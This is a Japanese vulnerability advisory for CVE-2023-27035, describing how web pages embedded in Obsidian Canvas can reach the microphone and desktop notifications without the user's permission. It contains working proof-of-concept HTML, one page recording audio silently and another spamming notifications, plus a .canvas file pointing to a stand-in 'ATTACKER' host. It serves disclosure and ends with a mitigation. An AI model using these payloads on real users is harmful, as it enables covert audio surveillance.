CVE-2023-27035

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

脆弱性タイプ:

不適切なアクセス制御

説明:

Obsidian Canvas 1.1.9 で発見された問題により、リモートの攻撃者がキャンバスページ上の埋め込みウェブサイトを介して、デスクトップ通知の送信、ユーザー音声の録音、その他の未指定の影響を引き起こす可能性があります。

影響:

悪意のある埋め込みウェブサイトは、ユーザーの許可や知識なしにObsidianアプリケーション内の機密性の高いWEB APIにアクセスできます。例えば、ユーザーの知らないうちに、または明示的な許可を与えることなく、静かにユーザーのマイクを録音したり、Obsidianアプリケーションに代わってデスクトップ通知を送信したりできます。この問題の根本的な原因は、アプリケーションにセッション権限リクエストハンドラがないことです。

影響を受ける製品:

Obsidian (Canvas機能)

影響を受けるバージョン:

1.1.9 < 1.1.14

再現手順:

次の内容のHTMLファイルを作成してホストします（ページはマイクから5秒間の音声を録音し、その後再生します）。

<!DOCTYPE html>
<html lang="en">
<head>
    <title>_</title>
</head>

<body>
    <h1>Make sure your microphone is unmuted.</h1>
    <script>
        // navigator.mediaDevices.enumerateDevices().then((devices) => console.log(devices))
        // credit to https://github.com/bryanjenningz/record-audio
        const recordAudio = () =>
            new Promise(async resolve => {
                const stream = await navigator.mediaDevices.getUserMedia({
                    audio: true
                });
                const mediaRecorder = new MediaRecorder(stream);
                const audioChunks = [];

                mediaRecorder.addEventListener("dataavailable", event => {
                    audioChunks.push(event.data);
                });

                const start = () => mediaRecorder.start();

                const stop = () =>
                    new Promise(resolve => {
                        mediaRecorder.addEventListener("stop", () => {
                            const audioBlob = new Blob(audioChunks);
                            const audioUrl = URL.createObjectURL(audioBlob);
                            const audio = new Audio(audioUrl);
                            const play = () => audio.play();
                            resolve({
                                audioBlob,
                                audioUrl,
                                play
                            });
                        });

                        mediaRecorder.stop();
                    });

                resolve({
                    start,
                    stop
                });
            });

        const sleep = time => new Promise(resolve => setTimeout(resolve, time));

        (async () => {
            const recorder = await recordAudio();
            recorder.start();
            await sleep(5000);
            const audio = await recorder.stop();
            audio.play();
        })();
    </script>
</body>
</html>

空白のキャンバスを作成し、「ウェブページを追加」を押して、poc1.htmlへのリンクを挿入するか、または次の.canvasファイルを作成します（urlパラメータはサーバー上の当該ページを指しています）：

{
	"nodes":[{"id":"3cbfdfdb5bd83701","x":-995,"y":355,"width":646,"height":416,"type":"link","url":"https://ATTACKER/files/poc1.html"}],
	"edges":[]
}

Obsidianでキャンバスファイルを開きます。録音がすぐに開始され、5秒後に再生されます。

通知 PoC:

<!DOCTYPE html>
<html lang="en">
<head>
    <title>_</title>
</head>
<body>
    <script>
        let i = 0;
        const interval = setInterval(() => {
            const n = new Notification(`Obsidian`, {
                body: 'Notification example.'
            });
            if (i === 10) {
                clearInterval(interval);
            }
            i++;
        }, 500);
    </script>
</body>
</html>

緩和策:

埋め込みページからの権限リクエストを処理するために、Electronのセッション権限リクエストハンドラを実装します。Web APIへのアクセスは、ユーザーが明示的に許可するか、デフォルトで拒否される必要があります。

参考文献:

CVE-2023-27035

人気

CVE-2023-27035